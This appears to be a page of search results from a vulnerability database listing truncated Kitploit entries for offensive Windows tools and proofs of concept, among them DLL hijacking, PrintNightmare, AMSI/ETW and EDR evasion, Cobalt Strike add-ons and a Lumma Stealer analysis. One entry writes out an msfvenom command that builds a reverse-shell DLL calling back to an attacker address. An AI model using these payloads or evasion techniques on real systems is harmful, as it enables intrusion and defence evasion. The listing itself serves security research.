Lucene search
+L

13072 matches found

Kitploit
Kitploit
added 2026/09/08 6:42 p.m.5 views

TrustJack

TrustJack Yet another PoC for https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows Blogpost: https://redteamer.tips/?p=108 To be used with a cmd that does whatever the F you want, for a dll that pops cmd, https://github.com/jfmaes/CMDLL. check the list in wietze's site to check how you...

5.8AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/08 6:40 p.m.6 views

IconJector

IconJector This is a Windows Explorer DLL injection technique that uses the change icon dialog on Windows. It can trick users into loading a malicious DLL into their explorer process: https://github.com/0xda568/IconJector/assets/61665703/06428402-764c-4279-b762-1d01082552c8 Additionally, it can b...

5.9AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/08 6:25 p.m.7 views

Lumma-Stealer-dllhost-Hollowing-C2-Domains-Payload-Extraction-Analysis

1. Setup.exe – Privacy, Driver & Memory Strings Process Hacker memory analysis of the setup.exe dropper reveals that Lumma Stealer targets privacy settings, installs drivers, and manages memory. Key Strings Observed: Privacy Camera – Attempts to access or disable camera privacy settings. Privacy...

5.8AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/08 6:24 p.m.6 views

CVE-2022-26809

CVE-2021-1675 / CVE-2021-34527 Impacket implementation of the PrintNightmare PoC originally created by Zhiniang Peng @edwardzpeng & Xuefeng Li @lxf02942370 Tested on a fully patched 2019 Domain Controller Execute malicious DLL's remote or locally Patch update Microsoft has released a patch to...

10CVSS8AI score0.99792EPSS
SaveExploits88References1
Kitploit
Kitploit
added 2026/09/08 6:24 p.m.10 views

LightsOut

LightsOut LightsOut generará un DLL ofuscado que deshabilitará AMSI y ETW mientras intenta evadir el AV. Esto se logra aleatorizando todas las funciones de WinAPI utilizadas, codificando cadenas con XOR y utilizando comprobaciones básicas de sandbox. Mingw-w64 se utiliza para compilar el código C...

6AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/08 6:22 p.m.6 views

CVE-2020-1337

CVE-2020-1337 - Binary Planting CVE-2020-1048 bypass Peleg Hadar @peleghd and Tomer Bar at SafeBreach @safebreach were acknowledged by Microsoft by the CVE-2020-1048, a Windows Spooler Vulnerability that allows an elevation of privilege on Windows 7 and later. Some details were disclosed by Alex...

7.8CVSS7.7AI score0.16373EPSS
SaveExploits17
Kitploit
Kitploit
added 2026/09/08 6:17 p.m.8 views

C2-Tool-Collection

Outflank - Colección de Herramientas C2 Este repositorio contiene una colección de herramientas que se integran con Cobalt Strike y posiblemente otros frameworks C2 mediante técnicas BOF y de carga de DLL reflectivas. Estas herramientas no forman parte de nuestro producto OST comercial y están...

9CVSS8.2AI score0.835EPSS
SaveExploits8References13
Kitploit
Kitploit
added 2026/09/08 5:53 p.m.8 views

BoomER

BoomER BoomER is an open source framework, developed in Python. The tool is focused on post-exploitation, with a main objective, the detection and exploitation of local vulnerabilities, as well as the collection of information from a system, such as the installed applications they have. The...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/08 5:35 p.m.41 views

peframe

======= peframe peframe is a open source tool to perform static analysis on Portable Executable malware and generic suspicious file. It can help malware researchers to detect packer, xor, digital signature, mutex, anti debug, anti virtual machine, suspicious sections and functions, macro and much...

5.5AI score
SaveExploits0References1
Kitploit
Kitploit
added 2026/09/08 5:27 p.m.3 views

CVE-2022-3368

CVE-2022-3368 PoC for arbitrary file move vulnerability in Software Update component of Avira Security. Users have option to use this feature to update any outdated software on their PC ,when this feature is used Avira Security service will drop downloaded files in...

8.8CVSS7.8AI score0.00889EPSS
SaveExploits1References1
Kitploit
Kitploit
added 2026/09/08 5:06 p.m.7 views

MSHTML-CVE-2021-40444

https://github.com/lockedbyte/CVE-2021-40444 Check Actual README from NotREADME.md I made small adjustments and make process automated if you have DLL sudo bash run.sh -i interface -d dll if you want me to compile dll for ya sudo bash run.sh -i interface -c "command"...

8.8CVSS7AI score0.9745EPSS
SaveExploits38References1
Kitploit
Kitploit
added 2026/09/08 5:05 p.m.6 views

CVE-2024-21378

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Exigimos el regreso seguro de todos los ciudadanos que han sido tomados como rehenes por el grupo terrorista Hamás. No descansaremos hasta que cada rehén sea liberado y regrese a casa sano y salvo. Puedes ayudar a traerlos de vuelta a...

8.8CVSS8.4AI score0.10976EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/08 5:01 p.m.10 views

Evasor

Resumen Evasor es una herramienta automatizada de evaluación de seguridad que localiza ejecutables existentes en el sistema operativo Windows que pueden usarse para eludir cualquier regla de Control de Aplicaciones. Es muy fácil de usar, rápida, ahorra tiempo y está totalmente automatizada,...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/08 4:56 p.m.5 views

Enumprotections_BOF

Enumprotections BOF This BOF can be used to enumerate system processes and identify the protection level of each one. Additional information, like service relation, user, session, and path, are also returned. This information in combination can be used to identify good candidates to explore for...

5.9AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/08 4:54 p.m.4 views

Corsair---DLL-Planting-CVE-2023-38822

Corsair---DLL-Planting-CVE-2023-38822 Plantación de DLL en Corsair iCUE v.5.3.102 CVE-2023-38822 Descubridor: Idan Malihi Descripción Un problema en Corsair iCUE v.5.3.102 permite a un atacante local ejecutar código arbitrario a través de los componentes MPDC.dll, CRYPTSP.dll, dcomp.dll,...

5.9AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/08 4:53 p.m.9 views

NimNightmare

CVE-2021-1675 LPE PoC not my exploit! just wanted to play around with the winim library in nim. Usage Generate DLL payload with msfvenom -p windows/x64/shellreversetcp LHOST=192.168.8.237 LPORT=4444 -f dll msfvenom.dll, then start the handler on your attacker. On the victim run .\nimnightmare.exe...

9.3CVSS7.8AI score0.86132EPSS
SaveExploits63
Kitploit
Kitploit
added 2026/09/08 4:49 p.m.11 views

Killer

HERRAMIENTA KILLER Evasión de EDR Es una herramienta de evasión de AV/EDR creada para eludir herramientas de seguridad para aprendizaje, hasta ahora la herramienta es FUD. Características: Module Stomping para evasión de escaneo de memoria Desenganche de DLL mediante copia fresca de ntdll...

6AI score
SaveExploits0
Kitploit
Kitploit
added 2026/09/08 4:43 p.m.229 views

mssqlproxy

mssqlproxy mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse. The client requires impacket and sysadmin privileges on the SQL server. Please read this article carefully before continuing. It consists of...

6AI score
SaveExploits0References2
Kitploit
Kitploit
added 2026/09/08 4:42 p.m.5 views

PythonMemoryModule

PythonMemoryModule Implementación en Python puro de la técnica MemoryModule para cargar una DLL o un ejecutable no administrado completamente desde la memoria Imagen de "Python memory module" generada por IA - hotpot.ai ¿Qué es? PythonMemoryModule es un port a ctypes de Python de la técnica...

5.8AI score
SaveExploits0References4
Kitploit
Kitploit
added 2026/09/08 4:37 p.m.11 views

Chimera

Chimera Unlea$ed Antecedentes de la Herramienta Aunque la carga lateral de DLL se puede usar con fines legítimos, como cargar las bibliotecas necesarias para que un programa funcione, también se puede usar con fines maliciosos. Los atacantes pueden usar la carga lateral de DLL para ejecutar códig...

5.8AI score
SaveExploits0
Rows per page
Query Builder